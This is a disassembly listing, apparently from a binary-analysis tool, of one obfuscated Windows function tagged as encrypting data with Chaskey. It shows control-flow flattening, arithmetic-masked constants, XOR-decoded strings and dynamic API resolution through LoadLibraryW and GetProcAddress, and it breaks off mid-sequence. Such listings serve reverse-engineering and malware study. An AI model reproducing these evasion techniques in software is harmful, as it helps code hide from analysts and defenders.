Function at 0x1400f83b3
Capabilities:
Encrypt data using chaskey

Disassembly:
push rax
pushf
mov eax, 0x98f01c5f
pushf
not eax
add eax, 0xc27ad1e1
xor eax, 0xcfff24f5
rol eax, 0x87
popf
pushf
not eax
add eax, 0x8547d830
xor eax, 0xc6c527b5
rol eax, 0x17
popf
pushf
not eax
add eax, 0x9cb212fd
xor eax, 0xf207f387
rol eax, 0x50
popf
pushf
not eax
add eax, 0xdbdab297
xor eax, 0x95824caa
rol eax, 0xcf
popf
cmp eax, 4
jne 0x1400f8416
popf
pop rax
jmp 0x1400f91f6
cmp eax, 0
jne 0x1400f8425
popf
pop rax
jmp 0x1400f858d
cmp eax, 3
jne 0x1400f8434
popf
pop rax
jmp 0x1400f9185
cmp eax, 1
jne 0x1400f8443
popf
pop rax
jmp 0x1400f88ef
cmp eax, 0xd
jne 0x1400f8452
popf
pop rax
jmp 0x1400f9b19
cmp eax, 7
jne 0x1400f8461
popf
pop rax
jmp 0x1400f93bd
cmp eax, 0xe
jne 0x1400f8470
popf
pop rax
jmp 0x1400f9bc1
cmp eax, 0xb
jne 0x1400f847f
popf
pop rax
jmp 0x1400f968a
cmp eax, 0x19
jne 0x1400f848e
popf
pop rax
jmp 0x1400fa093
cmp eax, 8
jne 0x1400f849d
popf
pop rax
jmp 0x1400f942e
cmp eax, 0x10
jne 0x1400f84ac
popf
pop rax
jmp 0x1400f9c9b
cmp eax, 0x17
jne 0x1400f84bb
popf
pop rax
jmp 0x1400f9fff
cmp eax, 9
jne 0x1400f84ca
popf
pop rax
jmp 0x1400f949e
cmp eax, 0x12
jne 0x1400f84d9
popf
pop rax
jmp 0x1400f9dcc
cmp eax, 0x18
jne 0x1400f84e8
popf
pop rax
jmp 0x1400fa04a
cmp eax, 0x11
jne 0x1400f84f7
popf
pop rax
jmp 0x1400f9d59
cmp eax, 5
jne 0x1400f8506
popf
pop rax
jmp 0x1400f92a2
cmp eax, 0x16
jne 0x1400f8515
popf
pop rax
jmp 0x1400f9fb2
cmp eax, 0xa
jne 0x1400f8524
popf
pop rax
jmp 0x1400f9600
cmp eax, 0x14
jne 0x1400f8533
popf
pop rax
jmp 0x1400f9e84
cmp eax, 0xf
jne 0x1400f8542
popf
pop rax
jmp 0x1400f9c31
cmp eax, 0x13
jne 0x1400f8551
popf
pop rax
jmp 0x1400f9e01
cmp eax, 0x15
jne 0x1400f8560
popf
pop rax
jmp 0x1400f9f10
cmp eax, 2
jne 0x1400f856f
popf
pop rax
jmp 0x1400f90c8
cmp eax, 6
jne 0x1400f857e
popf
pop rax
jmp 0x1400f9339
cmp eax, 0xc
jne 0x1400f858d
popf
pop rax
jmp 0x1400f9b10
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xf0
mov rax, qword [0x140092080]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rsi, qword [0x1400a7ac8]
movabs rax, 0xba5d8e7013172a8a
pushf
not rax
add rax, 0x5770c741
xor rax, 0x7b81463e
rol rax, 0x29
popf
pushf
not rax
add rax, 0x4c948994
xor rax, 0x4174b26f
rol rax, 0xc2
popf
pushf
not rax
add rax, 0x467fd0b6
xor rax, 0x7eb8705a
rol rax, 0x8a
popf
pushf
not rax
add rax, 0x51b4dfa4
xor rax, 0x7ac4ae48
rol rax, 0x2e
popf
mov qword [rsp + 0x20], rax
movabs rax, 0x310b4ffa23577ab
pushf
not rax
add rax, 0x473efba3
xor rax, 0x5386eec3
rol rax, 0x40
popf
pushf
not rax
add rax, 0x62245c3e
xor rax, 0x6d948fe2
rol rax, 0x53
popf
mov qword [rsp + 0x28], rax
movabs rax, 0x57334444bb7ff04b
pushf
not rax
add rax, 0x56e3fd03
xor rax, 0x55be3c7f
rol rax, 0x1f
popf
pushf
not rax
add rax, 0x44f6d604
xor rax, 0x519b07b8
rol rax, 0x57
popf
pushf
not rax
add rax, 0x64648cff
xor rax, 0x60dfa7d8
rol rax, 0xd
popf
mov qword [rsp + 0x30], rax
movabs r12, 0xedcf4265d43efcf8
pushf
not r12
add r12, 0x62321f31
xor r12, 0x4c584ba9
rol r12, 0x6b
popf
pushf
not r12
add r12, 0x5d1a2b68
xor r12, 0x467aa917
rol r12, 0x89
popf
pushf
not r12
add r12, 0x547dd241
xor r12, 0x64a4ff1f
rol r12, 0x7a
popf
pushf
not r12
add r12, 0x468fce72
xor r12, 0x6ac93433
rol r12, 0x24
popf
mov qword [rsp + 0x38], r12
movabs r14, 0x8b815c78039367e2
pushf
not r14
add r14, 0x442e4731
xor r14, 0x7e3beb5c
rol r14, 0x54
popf
pushf
not r14
add r14, 0x7d41a6d0
xor r14, 0x567e73b2
rol r14, 0x81
popf
mov qword [rbp - 0x19], r14
movabs r15, 0x73829f591034f5e8
pushf
not r15
add r15, 0x60a78cfb
xor r15, 0x6e4eefa4
rol r15, 0x49
popf
pushf
not r15
add r15, 0x6108debf
xor r15, 0x702ed161
rol r15, 0x45
popf
mov qword [rbp - 0x11], r15
movabs r13, 0xf9a067767a816bc0
pushf
not r13
add r13, 0x4272d9f5
xor r13, 0x451072e6
rol r13, 0x80
popf
pushf
not r13
add r13, 0x5118012a
xor r13, 0x7abc6ad8
rol r13, 0xf4
popf
pushf
not r13
add r13, 0x7e060d35
xor r13, 0x4349ff4e
rol r13, 0xec
popf
pushf
not r13
add r13, 0x69359a67
xor r13, 0x5f6c0fc5
rol r13, 0x4f
popf
mov qword [rbp - 9], r13
mov qword [rbp - 1], r12
movdqa xmm0, xmmword [rsp + 0x20]
xorps xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [rsp + 0x30]
xorps xmm1, xmmword [rbp - 9]
movdqa xmmword [rsp + 0x30], xmm1
lea rcx, [rsp + 0x20]
jmp 0x1400f8851
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x1400f8896
push rax
pushf
mov eax, 0x3b0a2a9b
pushf
not eax
add eax, 0xad394a4e
xor eax, 0x98c2b18b
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xfd5d9e7c
xor eax, 0xbffbe8b4
rol eax, 0x2e
popf
jmp 0x1400f8407
push rax
pushf
mov eax, 0xdaf14842
pushf
not eax
add eax, 0xfc78f0f9
xor eax, 0xffa3073d
rol eax, 0xde
popf
pushf
not eax
add eax, 0xc22dc022
xor eax, 0xc59b7c91
rol eax, 0x95
popf
pushf
not eax
add eax, 0xe0425b51
xor eax, 0xa9acf0c6
rol eax, 0x28
popf
pushf
not eax
add eax, 0xce649b11
xor eax, 0xa1e1068d
rol eax, 0x7b
popf
jmp 0x1400f8407
xorps xmm0, xmm0
movups xmmword [rbp - 0x59], xmm0
xor eax, eax
mov qword [rbp - 0x49], rax
mov qword [rbp - 0x41], rax
xor r8d, r8d
lea rdx, [0x1ac5f50e3]
pushf
sub rdx, 0x6c570133
popf
lea rcx, [rbp - 0x59]
call fcn.1400faaf3
nop
movabs rax, 0x654e5d5562f84350
pushf
not rax
add rax, 0x5178781d
xor rax, 0x7f8885d2
rol rax, 0xe
popf
pushf
not rax
add rax, 0x7c56cd87
xor rax, 0x6480d57b
rol rax, 0xde
popf
pushf
not rax
add rax, 0x6d64dff1
xor rax, 0x73c9feda
rol rax, 0xc8
popf
pushf
not rax
add rax, 0x6ab99434
xor rax, 0x66f52564
rol rax, 0x10
popf
mov qword [rbp - 0x39], rax
movabs rax, 0x66439fba99069688
pushf
not rax
add rax, 0x6c4922f6
xor rax, 0x5945424a
rol rax, 0x1f
popf
pushf
not rax
add rax, 0x56e94149
xor rax, 0x57cfe628
rol rax, 0xec
popf
pushf
not rax
add rax, 0x62a95dc2
xor rax, 0x615f9919
rol rax, 0xe8
popf
pushf
not rax
add rax, 0x76adb1c1
xor rax, 0x4bf14dfa
rol rax, 0x17
popf
mov qword [rbp - 0x31], rax
mov qword [rbp - 0x19], r14
mov qword [rbp - 0x11], r15
movdqa xmm0, xmmword [rbp - 0x39]
xorps xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rbp - 0x39], xmm0
lea rdx, [rbp - 0x39]
mov rcx, rbx
jmp 0x1400f8a11
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi], rax
movabs rax, 0x72329f9302d9f596
pushf
not rax
add rax, 0x637dd625
xor rax, 0x570142f5
rol rax, 0xa3
popf
pushf
not rax
add rax, 0x4feae823
xor rax, 0x658a6ef2
rol rax, 0xaa
popf
pushf
not rax
add rax, 0x789b9817
xor rax, 0x68949610
rol rax, 0x33
popf
mov qword [rbp - 0x39], rax
movabs rax, 0xa8b9a2e37904a4c0
pushf
not rax
add rax, 0x60c92a3b
xor rax, 0x66b178fe
rol rax, 0x1d
popf
pushf
not rax
add rax, 0x6724e74c
xor rax, 0x5a324500
rol rax, 0xe3
popf
pushf
not rax
add rax, 0x5fb72b17
xor rax, 0x5cc9f0b3
rol rax, 0x72
popf
pushf
not rax
add rax, 0x6b61526e
xor rax, 0x5cbff88c
rol rax, 0x7e
popf
mov qword [rbp - 0x31], rax
mov qword [rbp - 0x19], r14
mov qword [rbp - 0x11], r15
movdqa xmm0, xmmword [rbp - 0x39]
xorps xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rbp - 0x39], xmm0
lea rdx, [rbp - 0x39]
mov rcx, rbx
jmp 0x1400f8af5
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 8], rax
movabs rax, 0xf5ba54f20cb3811f
pushf
not rax
add rax, 0x779ba39e
xor rax, 0x4fb1ce26
rol rax, 0xf9
popf
pushf
not rax
add rax, 0x42e3e050
xor rax, 0x4e0ea6c6
rol rax, 0x45
popf
pushf
not rax
add rax, 0x6f28a6e7
xor rax, 0x4fa528bb
rol rax, 0xf2
popf
pushf
not rax
add rax, 0x58af344a
xor rax, 0x501edb29
rol rax, 0xd
popf
mov qword [rbp - 0x39], rax
movabs rdi, 0x5b17eb8d27ea831e
pushf
not rdi
add rdi, 0x4db28920
xor rdi, 0x624ff4d5
rol rdi, 0x62
popf
pushf
not rdi
add rdi, 0x733b6e71
xor rdi, 0x7bd98e9c
rol rdi, 0xb
popf
pushf
not rdi
add rdi, 0x4f751af3
xor rdi, 0x476e18dc
rol rdi, 0xb8
popf
pushf
not rdi
add rdi, 0x79185db2
xor rdi, 0x5cc84ff6
rol rdi, 0x2e
popf
mov qword [rbp - 0x31], rdi
mov qword [rbp - 0x19], r14
mov qword [rbp - 0x11], r15
movdqa xmm0, xmmword [rbp - 0x39]
xorps xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rbp - 0x39], xmm0
lea rdx, [rbp - 0x39]
mov rcx, rbx
jmp 0x1400f8bf9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x10], rax
movabs rax, 0x66786c5c92e65e19
pushf
not rax
add rax, 0x501a5cc7
xor rax, 0x49847f2b
rol rax, 0x87
popf
pushf
not rax
add rax, 0x49404fec
xor rax, 0x685d2de1
rol rax, 0xba
popf
pushf
not rax
add rax, 0x610346c5
xor rax, 0x42dea8b5
rol rax, 0x26
popf
pushf
not rax
add rax, 0x43d09d3d
xor rax, 0x7e485fb5
rol rax, 6
popf
mov qword [rbp - 0x39], rax
mov qword [rbp - 0x31], rdi
mov qword [rbp - 0x19], r14
mov qword [rbp - 0x11], r15
movdqa xmm0, xmmword [rbp - 0x39]
xorps xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rbp - 0x39], xmm0
lea rdx, [rbp - 0x39]
mov rcx, rbx
jmp 0x1400f8c8f
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x18], rax
movabs rax, 0xfb522ca8424de212
pushf
not rax
add rax, 0x42d71282
xor rax, 0x6f767a8f
rol rax, 0xb0
popf
pushf
not rax
add rax, 0x57ff0e21
xor rax, 0x55392b7c
rol rax, 0xe4
popf
pushf
not rax
add rax, 0x7813a16e
xor rax, 0x6286c55f
rol rax, 0x85
popf
mov qword [rbp - 0x39], rax
movabs rax, 0xc0bbc323d7b9a25
pushf
not rax
add rax, 0x470b6aa8
xor rax, 0x7f817268
rol rax, 0x24
popf
pushf
not rax
add rax, 0x789c9bbf
xor rax, 0x40b442e6
rol rax, 0xfb
popf
pushf
not rax
add rax, 0x5a53e80e
xor rax, 0x4f23511c
rol rax, 0x28
popf
mov qword [rbp - 0x31], rax
mov qword [rbp - 0x19], r14
mov qword [rbp - 0x11], r15
movdqa xmm0, xmmword [rbp - 0x39]
xorps xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rbp - 0x39], xmm0
lea rdx, [rbp - 0x39]
mov rcx, rbx
jmp 0x1400f8d5d
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x20], rax
movabs rax, 0xc97016f3ee3aa42
pushf
not rax
add rax, 0x6c08895a
xor rax, 0x7c724b98
rol rax, 0x69
popf
pushf
not rax
add rax, 0x5e85de38
xor rax, 0x69c2b0bd
rol rax, 0x85
popf
pushf
not rax
add rax, 0x732ef244
xor rax, 0x55a738a1
rol rax, 0xd8
popf
mov qword [rbp - 0x39], rax
movabs rax, 0x166ba836d5b059cf
pushf
not rax
add rax, 0x765d123f
xor rax, 0x45fb49e7
rol rax, 0x7c
popf
pushf
not rax
add rax, 0x789b72b9
xor rax, 0x71304fbc
rol rax, 0xf5
popf
pushf
not rax
add rax, 0x5fd137bc
xor rax, 0x72531646
rol rax, 0x4e
popf
pushf
not rax
add rax, 0x625e4373
xor rax, 0x6d5e736c
rol rax, 0x69
popf
mov qword [rbp - 0x31], rax
mov qword [rbp - 0x19], r14
mov qword [rbp - 0x11], r15
movdqa xmm0, xmmword [rbp - 0x39]
xorps xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rbp - 0x39], xmm0
lea rdx, [rbp - 0x39]
mov rcx, rbx
jmp 0x1400f8e42
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x28], rax
movabs rax, 0xe083ad574b1fe276
pushf
not rax
add rax, 0x73f277d2
xor rax, 0x67a72d5d
rol rax, 0xec
popf
pushf
not rax
add rax, 0x7a023d36
xor rax, 0x7ee41d0a
rol rax, 0x7b
popf
pushf
not rax
add rax, 0x572b61dc
xor rax, 0x4f597b08
rol rax, 0x80
popf
pushf
not rax
add rax, 0x5502e155
xor rax, 0x62c5969b
rol rax, 0x98
popf
mov qword [rbp - 0x19], rax
movabs rax, 0x2a3359b2ba494af8
pushf
not rax
add rax, 0x583a99d3
xor rax, 0x613f1c8f
rol rax, 0x1e
popf
pushf
not rax
add rax, 0x535162fd
xor rax, 0x6d4c0f02
rol rax, 0x6b
popf
mov qword [rbp - 0x11], rax
movabs rax, 0x73f39997f250e66d
pushf
not rax
add rax, 0x4545d3bb
xor rax, 0x4c6d2b49
rol rax, 0xfe
popf
pushf
not rax
add rax, 0x77bdf7ef
xor rax, 0x65f8ce73
rol rax, 0x28
popf
mov qword [rbp - 9], rax
mov qword [rbp - 1], r12
mov qword [rbp - 0x39], r14
mov qword [rbp - 0x31], r15
mov qword [rbp - 0x29], r13
mov qword [rbp - 0x21], r12
movdqa xmm0, xmmword [rbp - 0x19]
xorps xmm0, xmmword [rbp - 0x39]
movdqa xmmword [rbp - 0x19], xmm0
movdqa xmm1, xmmword [rbp - 9]
xorps xmm1, xmmword [rbp - 0x29]
movdqa xmmword [rbp - 9], xmm1
lea rdx, [rbp - 0x19]
mov rcx, rbx
jmp 0x1400f8f66
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x30], rax
movabs rax, 0xe948ff0f7762d0a1
pushf
not rax
add rax, 0x4f226afd
xor rax, 0x672ec300
rol rax, 0xba
popf
pushf
not rax
add rax, 0x7eb211a2
xor rax, 0x50449383
rol rax, 0x60
popf
mov qword [rbp - 0x19], rax
movabs rax, 0x76eb2b386857fbf1
pushf
not rax
add rax, 0x412f223f
xor rax, 0x5fe9af09
rol rax, 0xe4
popf
pushf
not rax
add rax, 0x4f7147e7
xor rax, 0x6b303bcf
rol rax, 0xc0
popf
pushf
not rax
add rax, 0x62c6a082
xor rax, 0x56670540
rol rax, 0x42
popf
mov qword [rbp - 0x11], rax
mov qword [rbp - 9], r13
mov qword [rbp - 1], r12
mov qword [rbp - 0x39], r14
mov qword [rbp - 0x31], r15
mov qword [rbp - 0x29], r13
mov qword [rbp - 0x21], r12
movdqa xmm0, xmmword [rbp - 0x19]
xorps xmm0, xmmword [rbp - 0x39]
movdqa xmmword [rbp - 0x19], xmm0
movdqa xmm1, xmmword [rbp - 9]
xorps xmm1, xmmword [rbp - 0x29]
movdqa xmmword [rbp - 9], xmm1
lea rdx, [rbp - 0x19]
mov rcx, rbx
jmp 0x1400f903b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x38], rax
cmp qword [rsi], 0
je 0x1400f9082
push rax
pushf
mov eax, 0xc728e555
pushf
not eax
add eax, 0x8c51492c
xor eax, 0xe72f3846
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xe2a5b8dc
xor eax, 0xda33e1f7
rol eax, 0xcd
popf
jmp 0x1400f8407
push rax
pushf
mov eax, 0x78022e02
pushf
not eax
add eax, 0xbfebf3d0
xor eax, 0xd4a46de5
rol eax, 0x30
popf
pushf
not eax
add eax, 0xb42fa91c
xor eax, 0xea52b53d
rol eax, 0x14
popf
pushf
not eax
add eax, 0xa195fc9a
xor eax, 0x92579777
rol eax, 0x5e
popf
jmp 0x1400f8407
cmp qword [rsi + 8], 0
je 0x1400f912c
push rax
pushf
mov eax, 0xd87aca49
pushf
not eax
add eax, 0xdfdd6704
xor eax, 0x8e649226
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xb6e6a72f
xor eax, 0xb000a19e
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xf4861909
xor eax, 0xb1a1485d
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xad97165d
xor eax, 0xa5900046
rol eax, 0xea
popf
jmp 0x1400f8407
push rax
pushf
mov eax, 0x839e0cf
pushf
not eax
add eax, 0xae4bf095
xor eax, 0xf479d4b8
rol eax, 0x75
popf
pushf
not eax
add eax, 0xe79928fa
xor eax, 0xbce8a8f2
rol eax, 0x23
popf
pushf
not eax
add eax, 0x96cfaf6a
xor eax, 0xf5261216
rol eax, 0x70
popf
pushf
not eax
add eax, 0xf5f1def0
xor eax, 0xf4d89335
rol eax, 0xb2
popf
jmp 0x1400f8407
cmp qword [rsi + 0x10], 0
je 0x1400f91c3
push rax
pushf
mov eax, 0x25cb221
pushf
not eax
add eax, 0x9b947c59
xor eax, 0xed2240b7
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xd2bc2246
xor eax, 0x90b15d05
rol eax, 7
popf
jmp 0x1400f8407
push rax
pushf
mov eax, 0x77adf21
pushf
not eax
add eax, 0xde8721b5
xor eax, 0xe69025ec
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xed52dae2
xor eax, 0xbbb63b62
rol eax, 0x36
popf
jmp 0x1400f8407
mov rcx, qword [rsi + 0x18]
test rcx, rcx
je 0x1400f9249
push rax
pushf
mov eax, 0xff253c99
pushf
not eax
add eax, 0x88bbd657
xor eax, 0x9f660e63
rol eax, 0x31
popf
pushf
not eax
add eax, 0xc8bfa7c9
xor eax, 0xcba443cb
rol eax, 0x86
popf
pushf
not eax
add eax, 0x9a7f96eb
xor eax, 0xe4b10bd6
rol eax, 0x46
popf
jmp 0x1400f8407
push rax
pushf
mov eax, 0x8bed8d49
pushf
not eax
add eax, 0xad1e5f2e
xor eax, 0xfb7cacf1
rol eax, 0xba
popf
pushf
not eax
add eax, 0x8373ced4
xor eax, 0xfa453aec
rol eax, 0xc
popf
pushf
not eax
add eax, 0x8ae3e156
xor eax, 0x9360935f
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xac552bd1
xor eax, 0xf445ab9e
rol eax, 0x7d
popf
jmp 0x1400f8407
cmp qword [rsi + 0x20], 0
je 0x1400f92e0
push rax
pushf
mov eax, 0xf0dff388
pushf
not eax
add eax, 0xba772a65
xor eax, 0xe384fd19
rol eax, 0
popf
pushf
not eax
add eax, 0xff829e83
xor eax, 0xd562d2bd
rol eax, 0xcf
popf
jmp 0x1400f8407
push rax
pushf
mov eax, 0x654eb8ff
pushf
not eax
add eax, 0xf5e4d6e9
xor eax, 0xf70bead9
rol eax, 0x78
popf
pushf
not eax
add eax, 0xa8a2c69a
xor eax, 0x990b91b0
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xc8475f83
xor eax, 0xbcc6c004
rol eax, 0x62
popf
pushf
not eax
add eax, 0xb484136d
xor eax, 0xae03f6e2
rol eax, 0xeb
popf
jmp 0x1400f8407
cmp qword [rsi + 0x28], 0
je 0x1400f9377
push rax
pushf
mov eax, 0xc0ce11d6
pushf
not eax
add eax, 0xb2b6f4c6
xor eax, 0x9b53712a
rol eax, 0xb6
popf
pushf
not eax
add eax, 0x8674a0ad
xor eax, 0x8919f1c8
rol eax, 6
popf
jmp 0x1400f8407
push rax
pushf
mov eax, 0x9ac0b779
pushf
not eax
add eax, 0xdccdee4f
xor eax, 0x9a80456a
rol eax, 0xef
popf
pushf
not eax
add eax, 0xed42b3a0
xor eax, 0xdca5956a
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xc3d6a86f
xor eax, 0xc94508f2
rol eax, 0x23
popf
jmp 0x1400f8407
cmp qword [rsi + 0x30], 0
je 0x1400f93fb
push rax
pushf
mov eax, 0xa573baf4
pushf
not eax
add eax, 0x8f5f3f4e
xor eax, 0xdc9a7faf
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xa358580d
xor eax, 0x8398f5b5
rol eax, 0xfb
popf
jmp 0x1400f8407
push rax
pushf
mov eax, 0xa8b1557
pushf
not eax
add eax, 0x9a366902
xor eax, 0x9b33f7ba
rol eax, 0x38
popf
pushf
not eax
add eax, 0xe6857941
xor eax, 0xd670f29c
rol eax, 0xd8
popf
jmp 0x1400f8407
test rax, rax
je 0x1400f946a
push rax
pushf
mov eax, 0x691b842f
pushf
not eax
add eax, 0x94ef48be
xor eax, 0xce658c9d
rol eax, 0x50
popf
pushf
not eax
add eax, 0xf513e24f
xor eax, 0xacf6fc98
rol eax, 0x30
popf
jmp 0x1400f8407
push rax
pushf
mov eax, 0x9d717461
pushf
not eax
add eax, 0xa90ce423
xor eax, 0xb918dbcf
rol eax, 0x69
popf
pushf
not eax
add eax, 0xef97051f
xor eax, 0xc82ee7b8
rol eax, 0xc4
popf
jmp 0x1400f8407
call rcx
mov rdx, qword [rsi + 0x10]
or eax, 0x10007
mov ecx, eax
jmp 0x1400f94ac
call rdx
movabs rax, 0x9bc7836aafaf1f8a
pushf
not rax
add rax, 0x4606f42e
xor rax, 0x4fd64d6c
rol rax, 0x95
popf
pushf
not rax
add rax, 0x6955028f
xor rax, 0x59c01719
rol rax, 0x1c
popf
pushf
not rax
add rax, 0x5c4ad315
xor rax, 0x6f22eddb
rol rax, 0x9b
popf
pushf
not rax
add rax, 0x4289e8bf
xor rax, 0x4ba239c9
rol rax, 2
popf
mov qword [rbp - 0x39], rax
movabs rax, 0x8252abd662ac5551
pushf
not rax
add rax, 0x711be75f
xor rax, 0x762966b0
rol rax, 0xf5
popf
pushf
not rax
add rax, 0x53894d19
xor rax, 0x66148c83
rol rax, 0xe
popf
pushf
not rax
add rax, 0x5afe5704
xor rax, 0x5b037aa5
rol rax, 0x5b
popf
mov qword [rbp - 0x31], rax
mov qword [rbp - 0x19], r14
mov qword [rbp - 0x11], r15
movdqa xmm0, xmmword [rbp - 0x39]
xorps xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rbp - 0x39], xmm0
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x39]
jmp 0x1400f958b
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x1400f95cc
push rax
pushf
mov eax, 0x1ef8811e
pushf
not eax
add eax, 0xe50f888c
xor eax, 0x93cf7ea4
rol eax, 0x88
popf
pushf
not eax
add eax, 0x92ed7c60
xor eax, 0xba73a70a
rol eax, 0x97
popf
jmp 0x1400f8407
push rax
pushf
mov eax, 0x66e6f59f
pushf
not eax
add eax, 0xc31010a8
xor eax, 0x8d1639b8
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xbadd435a
xor eax, 0xa0b57f03
rol eax, 0xf7
popf
jmp 0x1400f8407
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xcb
jne 0x1400f9644
push rax
pushf
mov eax, 0xcc8a4276
pushf
not eax
add eax, 0xa98eb32f
xor eax, 0x9cccf49a
rol eax, 0xef
popf
pushf
not eax
add eax, 0xd0508630
xor eax, 0x8e3f6540
rol eax, 0x40
popf
jmp 0x1400f8407
push rax
pushf
mov eax, 0x56ac4205
pushf
not eax
add eax, 0xcfb81812
xor eax, 0x862d5902
rol eax, 0x90
popf
pushf
not eax
add eax, 0x8526dac9
xor eax, 0xf6062748
rol eax, 0x93
popf
pushf
not eax
add eax, 0x8279c20b
xor eax, 0x9b29e17b
rol eax, 0xd7
popf
jmp 0x1400f8407
movabs rax, 0xff34cefa96572982
pushf
not rax
add rax, 0x65fec1e5
xor rax, 0x62c28a18
rol rax, 0xa3
popf
pushf
not rax
add rax, 0x60183e6c
xor rax, 0x63e4760b
rol rax, 0xa3
popf
mov qword [rsp + 0x20], rax
movabs rax, 0x1f01756de9961fd9
pushf
not rax
add rax, 0x56016576
xor rax, 0x4daac642
rol rax, 0x82
popf
pushf
not rax
add rax, 0x763e1c03
xor rax, 0x591c3d53
rol rax, 0x13
popf
pushf
not rax
add rax, 0x432c2f04
xor rax, 0x67ae77f8
rol rax, 0x67
popf
pushf
not rax
add rax, 0x7986ce19
xor rax, 0x5f4608f7
rol rax, 0xa
popf
mov qword [rsp + 0x28], rax
movabs rax, 0xaeee7dd903b03db7
pushf
not rax
add rax, 0x7b0837b5
xor rax, 0x499b9ef2
rol rax, 0x5e
popf
pushf
not rax
add rax, 0x7c36871d
xor rax, 0x766064da
rol rax, 0x83
popf
mov qword [rsp + 0x30], rax
movabs rax, 0xd0b9aa993568763d
pushf
not rax
add rax, 0x7cc3a0f6
xor rax, 0x4cfa2db0
rol rax, 0xa5
popf
pushf
not rax
add rax, 0x6d9a1746
xor rax, 0x7ea84ea4
rol rax, 0xf3
popf
mov qword [rsp + 0x38], rax
movabs rax, 0x6bd821d11bdd91af
pushf
not rax
add rax, 0x55224b17
xor rax, 0x7de2c8eb
rol rax, 5
popf
pushf
not rax
add rax, 0x65c2a51e
xor rax, 0x4b2d66f0
rol rax, 0xef
popf
mov qword [rbp - 0x79], rax
movabs rax, 0x102fe6e1929385db
pushf
not rax
add rax, 0x704ad6c2
xor rax, 0x4f45a992
rol rax, 3
popf
pushf
not rax
add rax, 0x6b40e4f3
xor rax, 0x4f6b924d
rol rax, 0x39
popf
pushf
not rax
add rax, 0x6f1858c7
xor rax, 0x6d1d5a6d
rol rax, 0xe9
popf
pushf
not rax
add rax, 0x6c41b022
xor rax, 0x45a15701
rol rax, 0xf9
popf
mov qword [rbp - 0x71], rax
movabs rax, 0x1ca1c3a1381b67
pushf
not rax
add rax, 0x5d6adc04
xor rax, 0x6385be21
rol rax, 0xc8
popf
pushf
not rax
add rax, 0x48f6f7cd
xor rax, 0x7c1d0781
rol rax, 0xcb
popf
pushf
not rax
add rax, 0x692f0e58
xor rax, 0x50964c66
rol rax, 0x16
popf
pushf
not rax
add rax, 0x77731dd5
xor rax, 0x755ee310
rol rax, 0x74
popf
mov qword [rbp - 0x69], rax
movabs rax, 0xe088ef0cff7b08bb
pushf
not rax
add rax, 0x5a3e9979
xor rax, 0x4e2e55b8
rol rax, 0x35
popf
pushf
not rax
add rax, 0x45f0e45d
xor rax, 0x406c8d59
rol rax, 0x66
popf
pushf
not rax
add rax, 0x4b233ede
xor rax, 0x4f835c8a
rol rax, 0xf0
popf
pushf
not rax
add rax, 0x5640f6e6
xor rax, 0x40950219
rol rax, 0x79
popf
mov qword [rbp - 0x61], rax
mov qword [rbp - 0x19], r14
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r13
mov qword [rbp - 1], r12
movabs rax, 0x4176886af295a3fe
pushf
not rax
add rax, 0x475f80e7
xor rax, 0x753dc3c1
rol rax, 0x66
popf
pushf
not rax
add rax, 0x46aaa807
xor rax, 0x4461bb88
rol rax, 0x77
popf
pushf
not rax
add rax, 0x77a4a053
xor rax, 0x71a77fed
rol rax, 0x18
popf
mov qword [rbp + 7], rax
movabs rax, 0xe6247a3878d3f48b
pushf
not rax
add rax, 0x43787c70
xor rax, 0x5fb71f64
rol rax, 0xb2
popf
pushf
not rax
add rax, 0x5080b7a0
xor rax, 0x794bbfa2
rol rax, 0x50
popf
pushf
not rax
add rax, 0x7fbaf3e5
xor rax, 0x600360e8
rol rax, 0xba
popf
mov qword [rbp + 0xf], rax
movabs rax, 0x959096c948d9ebbf
pushf
not rax
add rax, 0x44c28ee0
xor rax, 0x60fe139c
rol rax, 0xf1
popf
pushf
not rax
add rax, 0x7be6f542
xor rax, 0x51a5f5a7
rol rax, 0xda
popf
pushf
not rax
add rax, 0x753dbd1a
xor rax, 0x7ee02d1d
rol rax, 0xb2
popf
pushf
not rax
add rax, 0x4f127893
xor rax, 0x63f44e21
rol rax, 0xc7
popf
mov qword [rbp + 0x17], rax
movabs rax, 0x50c7e17fa8058515
pushf
not rax
add rax, 0x7c1feb7c
xor rax, 0x56fc0cdc
rol rax, 0x76
popf
pushf
not rax
add rax, 0x74eebc19
